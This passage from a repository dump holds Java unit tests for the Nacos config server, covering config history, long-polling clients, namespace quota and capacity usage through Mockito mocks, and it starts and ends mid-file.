verify(historyConfigInfoPersistService).detailPreviousConfigHistory(1L);\n        \n        assertEquals(configHistoryInfo.getDataId(), resConfigHistoryInfo.getDataId());\n        assertEquals(configHistoryInfo.getGroup(), resConfigHistoryInfo.getGroup());\n        assertEquals(configHistoryInfo.getContent(), resConfigHistoryInfo.getContent());\n        \n    }\n    \n    @Test\n    void testGetConfigListByNamespace() {\n        ConfigInfoWrapper configInfoWrapper = new ConfigInfoWrapper();\n        configInfoWrapper.setDataId(\"test\");\n        configInfoWrapper.setGroup(\"test\");\n        configInfoWrapper.setContent(\"test\");\n        List<ConfigInfoWrapper> configInfoWrappers = Collections.singletonList(configInfoWrapper);\n        \n        when(configInfoPersistService.queryConfigInfoByNamespace(\"test\")).thenReturn(configInfoWrappers);\n        \n        List<ConfigInfoWrapper> actualList = historyService.getConfigListByNamespace(\"test\");\n        \n        verify(configInfoPersistService).queryConfigInfoByNamespace(\"test\");\n        \n        assertEquals(configInfoWrappers.size(), actualList.size());\n        ConfigInfoWrapper actualConfigInfoWrapper = actualList.get(0);\n        assertEquals(configInfoWrapper.getDataId(), actualConfigInfoWrapper.getDataId());\n        assertEquals(configInfoWrapper.getGroup(), actualConfigInfoWrapper.getGroup());\n        assertEquals(configInfoWrapper.getContent(), actualConfigInfoWrapper.getContent());\n    }\n\n    @Test\n    void testGetConfigHistoryInfoPair() throws Exception {\n        ConfigHistoryInfo configHistoryInfo = new ConfigHistoryInfo();\n        configHistoryInfo.setDataId(TEST_DATA_ID);\n        configHistoryInfo.setGroup(TEST_GROUP);\n        configHistoryInfo.setContent(TEST_CONTENT);\n        configHistoryInfo.setTenant(TEST_TENANT);\n        configHistoryInfo.setOpType(TEST_OP_TYPE);\n        configHistoryInfo.setMd5(TEST_MD5);\n        configHistoryInfo.setPublishType(Constants.FORMAL);\n        configHistoryInfo.setGrayName(StringUtils.EMPTY);\n        configHistoryInfo.setCreatedTime(new Timestamp(new Date().getTime()));\n        configHistoryInfo.setLastModifiedTime(new Timestamp(new Date().getTime()));\n\n        when(historyConfigInfoPersistService.detailConfigHistory(1L)).thenReturn(configHistoryInfo);\n\n        ConfigHistoryInfo nextHistoryInfo = new ConfigHistoryInfo();\n        nextHistoryInfo.setDataId(TEST_DATA_ID);\n        nextHistoryInfo.setGroup(TEST_GROUP);\n        nextHistoryInfo.setTenant(TEST_TENANT);\n        nextHistoryInfo.setOpType(TEST_OP_TYPE);\n        nextHistoryInfo.setMd5(TEST_UPDATED_MD5);\n        nextHistoryInfo.setContent(TEST_UPDATED_CONTENT);\n        nextHistoryInfo.setPublishType(Constants.FORMAL);\n        nextHistoryInfo.setGrayName(StringUtils.EMPTY);\n        nextHistoryInfo.setCreatedTime(new Timestamp(new Date().getTime()));\n        nextHistoryInfo.setLastModifiedTime(new Timestamp(new Date().getTime()));\n\n        when(historyConfigInfoPersistService.getNextHistoryInfo(TEST_DATA_ID, TEST_GROUP, TEST_TENANT, Constants.FORMAL,\n                StringUtils.EMPTY, 1L)).thenReturn(nextHistoryInfo);\n\n        ConfigHistoryInfoDetail resConfigHistoryInfoDetail = historyService.getConfigHistoryInfoDetail(TEST_DATA_ID, TEST_GROUP,\n                TEST_TENANT, 1L);\n\n        verify(historyConfigInfoPersistService).getNextHistoryInfo(TEST_DATA_ID, TEST_GROUP, TEST_TENANT, Constants.FORMAL,\n                StringUtils.EMPTY, 1L);\n\n        assertEquals(nextHistoryInfo.getDataId(), resConfigHistoryInfoDetail.getDataId());\n        assertEquals(nextHistoryInfo.getGroup(), resConfigHistoryInfoDetail.getGroup());\n        assertEquals(nextHistoryInfo.getMd5(), resConfigHistoryInfoDetail.getUpdatedMd5());\n        assertEquals(nextHistoryInfo.getContent(), resConfigHistoryInfoDetail.getUpdatedContent());\n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/LongPollingServiceTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.config.server.model.ConfigListenState;\nimport com.alibaba.nacos.config.server.model.SampleResult;\nimport com.alibaba.nacos.config.server.model.event.LocalDataChangeEvent;\nimport com.alibaba.nacos.config.server.utils.ConfigExecutor;\nimport com.alibaba.nacos.config.server.utils.GroupKey;\nimport com.alibaba.nacos.config.server.utils.MD5Util;\nimport com.alibaba.nacos.plugin.control.ControlManagerCenter;\nimport com.alibaba.nacos.plugin.control.connection.ConnectionControlManager;\nimport com.alibaba.nacos.plugin.control.connection.response.ConnectionCheckResponse;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\n\nimport jakarta.servlet.AsyncContext;\nimport jakarta.servlet.http.HttpServletRequest;\nimport jakarta.servlet.http.HttpServletResponse;\nimport java.io.IOException;\nimport java.io.PrintWriter;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyInt;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.times;\n\n@ExtendWith(MockitoExtension.class)\n// todo remove this\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass LongPollingServiceTest {\n    \n    LongPollingService longPollingService;\n    \n    MockedStatic<ConfigCacheService> configCacheServiceMockedStatic;\n    \n    MockedStatic<ConfigExecutor> configExecutorMocked;\n    \n    MockedStatic<ControlManagerCenter> connectionControlManagerMockedStatic;\n    \n    @Mock\n    ControlManagerCenter controlManagerCenter;\n    \n    @Mock\n    ConnectionControlManager connectionControlManager;\n    \n    MockedStatic<SwitchService> switchServiceMockedStatic;\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    @BeforeEach\n    void before() {\n        longPollingService = new LongPollingService();\n        switchServiceMockedStatic = Mockito.mockStatic(SwitchService.class);\n        configCacheServiceMockedStatic = Mockito.mockStatic(ConfigCacheService.class);\n        configExecutorMocked = Mockito.mockStatic(ConfigExecutor.class);\n        connectionControlManagerMockedStatic = Mockito.mockStatic(ControlManagerCenter.class);\n        connectionControlManagerMockedStatic.when(() -> ControlManagerCenter.getInstance()).thenReturn(controlManagerCenter);\n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        envUtilMockedStatic.when(() -> EnvUtil.getProperty(\"nacos.config.cache.type\", \"nacos\")).thenReturn(\"nacos\");\n        Mockito.when(controlManagerCenter.getConnectionControlManager()).thenReturn(connectionControlManager);\n    }\n    \n    @AfterEach\n    void after() {\n        configCacheServiceMockedStatic.close();\n        if (!configExecutorMocked.isClosed()) {\n            configExecutorMocked.close();\n        }\n        connectionControlManagerMockedStatic.close();\n        switchServiceMockedStatic.close();\n        envUtilMockedStatic.close();\n    }\n    \n    @Test\n    void testAddLongPollingClientHasNotEqualsMd5() throws IOException {\n        \n        Map<String, ConfigListenState> clientMd5Map = new HashMap<>();\n        String group = \"group\";\n        String tenant = \"tenat\";\n        String dataIdEquals = \"dataIdEquals0\";\n        String groupKeyEquals = GroupKey.getKeyTenant(dataIdEquals, group, tenant);\n        String md5Equals0 = MD5Utils.md5Hex(\"countEquals0\", \"UTF-8\");\n        ConfigListenState configListenState1 = new ConfigListenState(md5Equals0);\n        clientMd5Map.put(groupKeyEquals, configListenState1);\n        String md5NotEquals1 = MD5Utils.md5Hex(\"countNotEquals\", \"UTF-8\");\n        ConfigListenState configListenState2 = new ConfigListenState(md5NotEquals1);\n        String dataIdNotEquals = \"dataIdNotEquals0\";\n        String groupKeyNotEquals = GroupKey.getKeyTenant(dataIdNotEquals, group, tenant);\n        clientMd5Map.put(groupKeyNotEquals, configListenState2);\n        MockedStatic<MD5Util> md5UtilMockedStatic = Mockito.mockStatic(MD5Util.class);\n        md5UtilMockedStatic.when(() -> MD5Util.compareMd5(any(), any(), any()))\n                .thenReturn(Collections.singletonMap(groupKeyNotEquals, configListenState2));\n        \n        HttpServletRequest httpServletRequest = Mockito.mock(HttpServletRequest.class);\n        Mockito.when(httpServletRequest.getHeader(eq(LongPollingService.LONG_POLLING_NO_HANG_UP_HEADER))).thenReturn(null);\n        String clientIp = \"192.168.0.1\";\n        Mockito.when(httpServletRequest.getHeader(eq(\"X-Forwarded-For\"))).thenReturn(clientIp);\n        \n        configCacheServiceMockedStatic.when(\n                () -> ConfigCacheService.isUptodate(eq(groupKeyNotEquals), eq(md5NotEquals1), eq(clientIp), eq(null))).thenReturn(false);\n        configCacheServiceMockedStatic.when(() -> ConfigCacheService.isUptodate(eq(groupKeyEquals), eq(md5Equals0), eq(clientIp), eq(null)))\n                .thenReturn(true);\n        HttpServletResponse httpServletResponse = Mockito.mock(HttpServletResponse.class);\n        PrintWriter printWriter = Mockito.mock(PrintWriter.class);\n        Mockito.when(httpServletResponse.getWriter()).thenReturn(printWriter);\n        int propSize = 3;\n        longPollingService.addLongPollingClient(httpServletRequest, httpServletResponse, clientMd5Map, propSize);\n        \n        String responseString = MD5Util.compareMd5ResultString(Collections.singletonMap(groupKeyNotEquals, configListenState2));\n        //expect print not equals group\n        Mockito.verify(printWriter, times(1)).println(eq(responseString));\n        Mockito.verify(httpServletResponse, times(1)).setStatus(eq(HttpServletResponse.SC_OK));\n        md5UtilMockedStatic.close();\n    }\n    \n    @Test\n    void testRejectByConnectionLimit() throws Exception {\n        //mock connection no limit\n        ConnectionCheckResponse connectionCheckResponse = new ConnectionCheckResponse();\n        connectionCheckResponse.setSuccess(false);\n        Mockito.when(connectionControlManager.check(any())).thenReturn(connectionCheckResponse);\n        HttpServletResponse httpServletResponse = Mockito.mock(HttpServletResponse.class);\n        PrintWriter printWriter = Mockito.mock(PrintWriter.class);\n        Mockito.when(httpServletResponse.getWriter()).thenReturn(printWriter);\n        \n        HttpServletRequest httpServletRequest = Mockito.mock(HttpServletRequest.class);\n        Mockito.when(httpServletRequest.getHeader(eq(LongPollingService.LONG_POLLING_NO_HANG_UP_HEADER))).thenReturn(null);\n        String clientIp = \"192.168.0.1\";\n        Mockito.when(httpServletRequest.getHeader(eq(\"X-Forwarded-For\"))).thenReturn(clientIp);\n        Mockito.when(httpServletRequest.startAsync()).thenReturn(Mockito.mock(AsyncContext.class));\n        int propSize = 3;\n        Map<String, ConfigListenState> clientMd5Map = new HashMap<>();\n        longPollingService.addLongPollingClient(httpServletRequest, httpServletResponse, clientMd5Map, propSize);\n        Thread.sleep(3000L);\n        //expect response not returned\n        Mockito.verify(httpServletResponse, times(1)).setStatus(eq(503));\n        \n    }\n    \n    @Test\n    void testAddLongPollingClientAllEqualsMd5() throws IOException {\n        //mock connection no limit\n        ConnectionCheckResponse connectionCheckResponse = new ConnectionCheckResponse();\n        connectionCheckResponse.setSuccess(true);\n        Mockito.when(connectionControlManager.check(any())).thenReturn(connectionCheckResponse);\n        \n        Map<String, ConfigListenState> clientMd5Map = new HashMap<>();\n        String group = \"group\";\n        String tenant = \"tenat\";\n        String dataIdEquals = \"dataIdEquals01\";\n        String groupKeyEquals = GroupKey.getKeyTenant(dataIdEquals, group, tenant);\n        \n        String md5Equals0 = MD5Utils.md5Hex(\"countEquals01\", \"UTF-8\");\n        ConfigListenState configListenState1 = new ConfigListenState(md5Equals0);\n        clientMd5Map.put(groupKeyEquals, configListenState1);\n        String md5NotEquals1 = MD5Utils.md5Hex(\"countNotEquals1\", \"UTF-8\");\n        ConfigListenState configListenState2 = new ConfigListenState(md5NotEquals1);\n        String dataIdNotEquals = \"dataIdNotEquals01\";\n        String groupKeyNotEquals = GroupKey.getKeyTenant(dataIdNotEquals, group, tenant);\n        clientMd5Map.put(groupKeyNotEquals, configListenState2);\n        HttpServletRequest httpServletRequest = Mockito.mock(HttpServletRequest.class);\n        \n        Mockito.when(httpServletRequest.getHeader(eq(LongPollingService.LONG_POLLING_HEADER))).thenReturn(\"5000\");\n        Mockito.when(httpServletRequest.getHeader(eq(LongPollingService.LONG_POLLING_NO_HANG_UP_HEADER))).thenReturn(null);\n        String clientIp = \"192.168.0.1\";\n        Mockito.when(httpServletRequest.getHeader(eq(\"X-Forwarded-For\"))).thenReturn(clientIp);\n        Mockito.when(httpServletRequest.startAsync()).thenReturn(Mockito.mock(AsyncContext.class));\n        configCacheServiceMockedStatic.when(\n                () -> ConfigCacheService.isUptodate(eq(groupKeyNotEquals), eq(md5NotEquals1), eq(clientIp), eq(null))).thenReturn(true);\n        configCacheServiceMockedStatic.when(() -> ConfigCacheService.isUptodate(eq(groupKeyEquals), eq(md5Equals0), eq(clientIp), eq(null)))\n                .thenReturn(true);\n        int propSize = 3;\n        HttpServletResponse httpServletResponse = Mockito.mock(HttpServletResponse.class);\n        longPollingService.addLongPollingClient(httpServletRequest, httpServletResponse, clientMd5Map, propSize);\n        \n        //expect response not returned\n        Mockito.verify(httpServletResponse, times(0)).setStatus(anyInt());\n        //expect to schedule a task\n        configExecutorMocked.verify(() -> ConfigExecutor.executeLongPolling(any(LongPollingService.ClientLongPolling.class)), times(1));\n        \n    }\n    \n    @Test\n    void testReceiveDataChangeEventAndNotify() throws Exception {\n        configExecutorMocked.close();\n        \n        //mock connection no limit\n        ConnectionCheckResponse connectionCheckResponse = new ConnectionCheckResponse();\n        connectionCheckResponse.setSuccess(true);\n        Mockito.when(connectionControlManager.check(any())).thenReturn(connectionCheckResponse);\n        \n        String dataIdChanged = \"dataIdChanged\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String groupKeyChanged = GroupKey.getKeyTenant(dataIdChanged, group, tenant);\n        Map<String, ConfigListenState> clientMd5Map = new HashMap<>();\n        ConfigListenState configListenState = new ConfigListenState(\"mockMd5\");\n        clientMd5Map.put(groupKeyChanged, configListenState);\n        HttpServletRequest httpServletRequest = Mockito.mock(HttpServletRequest.class);\n        HttpServletResponse httpServletResponse = Mockito.mock(HttpServletResponse.class);\n        PrintWriter printWriter = Mockito.mock(PrintWriter.class);\n        Mockito.when(httpServletResponse.getWriter()).thenReturn(printWriter);\n        \n        Mockito.when(httpServletRequest.getHeader(eq(LongPollingService.LONG_POLLING_HEADER))).thenReturn(\"5000\");\n        Mockito.when(httpServletRequest.getHeader(eq(LongPollingService.LONG_POLLING_NO_HANG_UP_HEADER))).thenReturn(null);\n        String clientIp = \"192.168.0.1\";\n        Mockito.when(httpServletRequest.getHeader(eq(\"X-Forwarded-For\"))).thenReturn(clientIp);\n        AsyncContext asyncContext = Mockito.mock(AsyncContext.class);\n        Mockito.when(httpServletRequest.startAsync()).thenReturn(asyncContext);\n        Mockito.when(asyncContext.getRequest()).thenReturn(httpServletRequest);\n        Mockito.when(asyncContext.getResponse()).thenReturn(httpServletResponse);\n        \n        configCacheServiceMockedStatic.when(() -> ConfigCacheService.isUptodate(anyString(), anyString(), anyString(), eq(null)))\n                .thenReturn(true);\n        \n        longPollingService.addLongPollingClient(httpServletRequest, httpServletResponse, clientMd5Map, 3);\n        \n        //test getSubscribleInfo by groupKey\n        SampleResult subscribleInfo = longPollingService.getCollectSubscribleInfo(dataIdChanged, group, tenant);\n        Map<String, String> lisentersGroupkeyStatus = subscribleInfo.getLisentersGroupkeyStatus();\n        assertFalse(lisentersGroupkeyStatus.isEmpty());\n        assertEquals(\"mockMd5\", lisentersGroupkeyStatus.get(clientIp));\n        SampleResult collectSubscribleInfoByIp = longPollingService.getCollectSubscribleInfoByIp(clientIp);\n        Map<String, String> lisentersGroupkeyStatus1 = collectSubscribleInfoByIp.getLisentersGroupkeyStatus();\n        assertFalse(lisentersGroupkeyStatus1.isEmpty());\n        assertEquals(\"mockMd5\", lisentersGroupkeyStatus1.get(groupKeyChanged));\n        \n        //test receive config change event\n        LocalDataChangeEvent localDataChangeEvent = new LocalDataChangeEvent(groupKeyChanged);\n        \n        NotifyCenter.publishEvent(localDataChangeEvent);\n        Thread.sleep(1100L);\n        String responseString = MD5Util.compareMd5ResultString(Collections.singletonMap(groupKeyChanged, configListenState));\n        //expect print not equals group\n        Mockito.verify(printWriter, times(1)).println(eq(responseString));\n        Mockito.verify(asyncContext, times(1)).complete();\n        \n    }\n    \n    @Test\n    void testLongPollingTimeout() throws Exception {\n        configExecutorMocked.close();\n        String dataIdChanged = \"dataIdChanged\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String groupKeyChanged = GroupKey.getKeyTenant(dataIdChanged, group, tenant);\n        \n        //mock connection no limit\n        ConnectionCheckResponse connectionCheckResponse = new ConnectionCheckResponse();\n        connectionCheckResponse.setSuccess(true);\n        Mockito.when(connectionControlManager.check(any())).thenReturn(connectionCheckResponse);\n        \n        Map<String, ConfigListenState> clientMd5Map = new HashMap<>();\n        ConfigListenState configListenState = new ConfigListenState(\"md5\");\n        clientMd5Map.put(groupKeyChanged, configListenState);\n        switchServiceMockedStatic.when(() -> SwitchService.getSwitchInteger(eq(\"MIN_LONG_POOLING_TIMEOUT\"), eq(10000))).thenReturn(1000);\n        HttpServletRequest httpServletRequest = Mockito.mock(HttpServletRequest.class);\n        \n        Mockito.when(httpServletRequest.getHeader(eq(LongPollingService.LONG_POLLING_HEADER))).thenReturn(\"1000\");\n        Mockito.when(httpServletRequest.getHeader(eq(LongPollingService.LONG_POLLING_NO_HANG_UP_HEADER))).thenReturn(null);\n        String clientIp = \"192.168.0.1\";\n        Mockito.when(httpServletRequest.getHeader(eq(\"X-Forwarded-For\"))).thenReturn(clientIp);\n        AsyncContext asyncContext = Mockito.mock(AsyncContext.class);\n        Mockito.when(httpServletRequest.startAsync()).thenReturn(asyncContext);\n        Mockito.when(asyncContext.getRequest()).thenReturn(httpServletRequest);\n        \n        configCacheServiceMockedStatic.when(() -> ConfigCacheService.isUptodate(anyString(), anyString(), anyString(), eq(null)))\n                .thenReturn(true);\n        HttpServletResponse httpServletResponse = Mockito.mock(HttpServletResponse.class);\n        longPollingService.addLongPollingClient(httpServletRequest, httpServletResponse, clientMd5Map, 3);\n        \n        //wait time out condition arrived.\n        Thread.sleep(1200L);\n        //expect print not equals group\n        Mockito.verify(asyncContext, times(1)).complete();\n        \n    }\n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/NamespaceConfigInfoServiceTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.config.server.constant.PropertiesConstant;\nimport com.alibaba.nacos.config.server.model.capacity.NamespaceCapacity;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.api.model.response.Namespace;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(SpringExtension.class)\npublic class NamespaceConfigInfoServiceTest {\n    \n    @Mock\n    private ConfigInfoPersistService configInfoPersistService;\n    \n    MockedStatic<EnvUtil> propertyUtilMockedStatic;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        propertyUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        \n    }\n    \n    @AfterEach\n    void after() throws Exception {\n        propertyUtilMockedStatic.close();\n    }\n    \n    @Test\n    public void testInjectDetailNotDefault() {\n        \n        String namespaceId = \"test1234\";\n        when(EnvUtil.getProperty(eq(PropertiesConstant.DEFAULT_TENANT_QUOTA), eq(Integer.class))).thenReturn(1023);\n        when(configInfoPersistService.configInfoCount(namespaceId)).thenReturn(101);\n        Namespace namespace = new Namespace(namespaceId, \"test123ShowName\");\n        namespace.setQuota(200);\n        NamespaceConfigInfoService namespaceConfigInfoService = new NamespaceConfigInfoService(\n                configInfoPersistService);\n        namespaceConfigInfoService.injectDetail(namespace);\n        assertEquals(101, namespace.getConfigCount());\n        assertEquals(1023, namespace.getQuota());\n        \n    }\n    \n    @Test\n    public void testInjectDetailDefaultQuota() {\n        \n        String namespaceId = \"test1234\";\n        NamespaceCapacity tenantCapacity = new NamespaceCapacity();\n        tenantCapacity.setQuota(0);\n        when(configInfoPersistService.configInfoCount(namespaceId)).thenReturn(105);\n        \n        when(EnvUtil.getProperty(eq(PropertiesConstant.DEFAULT_TENANT_QUOTA), eq(Integer.class))).thenReturn(null);\n        Namespace namespace = new Namespace(namespaceId, \"test123ShowName\");\n        namespace.setQuota(200);\n        NamespaceConfigInfoService namespaceConfigInfoService = new NamespaceConfigInfoService(\n                configInfoPersistService);\n        namespaceConfigInfoService.injectDetail(namespace);\n        \n        assertEquals(105, namespace.getConfigCount());\n        assertEquals(200, namespace.getQuota());\n    }\n    \n}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/service/capacity/CapacityServiceTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.capacity;\n\nimport com.alibaba.nacos.config.server.constant.CounterMode;\nimport com.alibaba.nacos.config.server.model.capacity.Capacity;\nimport com.alibaba.nacos.config.server.model.capacity.GroupCapacity;\nimport com.alibaba.nacos.config.server.model.capacity.NamespaceCapacity;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.Mockito;\nimport org.springframework.mock.web.MockServletContext;\nimport org.springframework.test.context.ContextConfiguration;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\nimport org.springframework.test.context.web.WebAppConfiguration;\nimport org.springframework.test.util.ReflectionTestUtils;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(SpringExtension.class)\n@ContextConfiguration(classes = MockServletContext.class)\n@WebAppConfiguration\nclass CapacityServiceTest {\n    \n    private CapacityService service;\n    \n    @Mock\n    private GroupCapacityPersistService groupCapacityPersistService;\n    \n    @Mock\n    private TenantCapacityPersistService tenantCapacityPersistService;\n    \n    @Mock\n    private ConfigInfoPersistService configInfoPersistService;\n    \n    @BeforeEach\n    void setUp() {\n        service = new CapacityService();\n        ReflectionTestUtils.setField(service, \"groupCapacityPersistService\", groupCapacityPersistService);\n        ReflectionTestUtils.setField(service, \"tenantCapacityPersistService\", tenantCapacityPersistService);\n        ReflectionTestUtils.setField(service, \"configInfoPersistService\", configInfoPersistService);\n    }\n    \n    @Test\n    void testInit() {\n        service.init();\n    }\n    \n    @Test\n    void testCorrectUsage() {\n        List<GroupCapacity> groupCapacityList = new ArrayList<>();\n        GroupCapacity groupCapacity = new GroupCapacity();\n        groupCapacity.setId(1L);\n        groupCapacity.setGroupName(\"testGroup\");\n        groupCapacityList.add(groupCapacity);\n        when(groupCapacityPersistService.getCapacityList4CorrectUsage(0L, 100)).thenReturn(groupCapacityList);\n        when(groupCapacityPersistService.getCapacityList4CorrectUsage(1L, 100)).thenReturn(new ArrayList<>());\n        when(groupCapacityPersistService.correctUsage(eq(\"testGroup\"), any())).thenReturn(true);\n        \n        List<NamespaceCapacity> tenantCapacityList = new ArrayList<>();\n        NamespaceCapacity tenantCapacity = new NamespaceCapacity();\n        tenantCapacity.setId(1L);\n        tenantCapacity.setNamespaceId(\"testTenant\");\n        tenantCapacityList.add(tenantCapacity);\n        when(tenantCapacityPersistService.getCapacityList4CorrectUsage(0L, 100)).thenReturn(tenantCapacityList);\n        when(tenantCapacityPersistService.getCapacityList4CorrectUsage(1L, 100)).thenReturn(new ArrayList<>());\n        when(tenantCapacityPersistService.correctUsage(eq(\"testTenant\"), any())).thenReturn(true);\n        \n        service.correctUsage();\n        \n        Mockito.verify(groupCapacityPersistService, times(1)).getCapacityList4CorrectUsage(0L, 100);\n        Mockito.verify(groupCapacityPersistService, times(1)).getCapacityList4CorrectUsage(1L, 100);\n        Mockito.verify(groupCapacityPersistService, times(1)).correctUsage(eq(\"testGroup\"), any());\n        \n        Mockito.verify(tenantCapacityPersistService, times(1)).getCapacityList4CorrectUsage(0L, 100);\n        Mockito.verify(tenantCapacityPersistService, times(1)).getCapacityList4CorrectUsage(1L, 100);\n        Mockito.verify(tenantCapacityPersistService, times(1)).correctUsage(eq(\"testTenant\"), any());\n    }\n    \n    @Test\n    void testCorrectGroupUsage() {\n        when(groupCapacityPersistService.correctUsage(eq(\"testGroup\"), any())).thenReturn(true);\n        service.correctGroupUsage(\"testGroup\");\n        Mockito.verify(groupCapacityPersistService, times(1)).correctUsage(eq(\"testGroup\"), any());\n    }\n    \n    @Test\n    void testCorrectTenantUsage() {\n        when(tenantCapacityPersistService.correctUsage(eq(\"testTenant\"), any())).thenReturn(true);\n        service.correctTenantUsage(\"testTenant\");\n        Mockito.verify(tenantCapacityPersistService, times(1)).correctUsage(eq(\"testTenant\"), any());\n    }\n    \n    @Test\n    void testInitAllCapacity() {\n        List<String> groupList = new ArrayList<>();\n        groupList.add(\"testGroup\");\n        when(configInfoPersistService.getGroupIdList(eq(1), eq(500))).thenReturn(groupList);\n        List<String> tenantList = new ArrayList<>();\n        tenantList.add(\"testTenant\");\n        when(configInfoPersistService.getTenantIdList(eq(1), eq(500))).thenReturn(tenantList);\n        \n        GroupCapacity groupCapacity = new GroupCapacity();\n        groupCapacity.setGroupName(\"testGroup\");\n        groupCapacity.setUsage(300);\n        when(groupCapacityPersistService.insertGroupCapacity(any())).thenReturn(true);\n        when(groupCapacityPersistService.getGroupCapacity(eq(\"testGroup\"))).thenReturn(groupCapacity);\n        when(groupCapacityPersistService.updateQuota(eq(\"testGroup\"), eq(500))).thenReturn(true);\n        \n        NamespaceCapacity tenantCapacity = new NamespaceCapacity();\n        tenantCapacity.setNamespaceId(\"testTenant\");\n        tenantCapacity.setUsage(300);\n        when(tenantCapacityPersistService.insertTenantCapacity(any())).thenReturn(true);\n        when(tenantCapacityPersistService.getTenantCapacity(eq(\"testTenant\"))).thenReturn(tenantCapacity);\n        when(tenantCapacityPersistService.updateQuota(eq(\"testTenant\"), eq(500))).thenReturn(true);\n        \n        service.initAllCapacity();\n        \n        Mockito.verify(groupCapacityPersistService, times(1)).insertGroupCapacity(any());\n        Mockito.verify(groupCapacityPersistService, times(1)).getGroupCapacity(eq(\"testGroup\"));\n        Mockito.verify(groupCapacityPersistService, times(1)).updateQuota(eq(\"testGroup\"), eq(500));\n        \n        Mockito.verify(tenantCapacityPersistService, times(1)).insertTenantCapacity(any());\n        Mockito.verify(tenantCapacityPersistService, times(1)).getTenantCapacity(eq(\"testTenant\"));\n        Mockito.verify(tenantCapacityPersistService, times(1)).updateQuota(eq(\"testTenant\"), eq(500));\n    }\n    \n    @Test\n    void testInsertAndUpdateClusterUsage() {\n        when(groupCapacityPersistService.insertGroupCapacity(any())).thenReturn(true);\n        when(groupCapacityPersistService.incrementUsage(any())).thenReturn(true);\n        when(groupCapacityPersistService.incrementUsageWithDefaultQuotaLimit(any())).thenReturn(true);\n        when(groupCapacityPersistService.decrementUsage(any())).thenReturn(true);\n        \n        service.insertAndUpdateClusterUsage(CounterMode.INCREMENT, true);\n        Mockito.verify(groupCapacityPersistService, times(1)).incrementUsage(any());\n        \n        service.insertAndUpdateClusterUsage(CounterMode.INCREMENT, false);\n        Mockito.verify(groupCapacityPersistService, 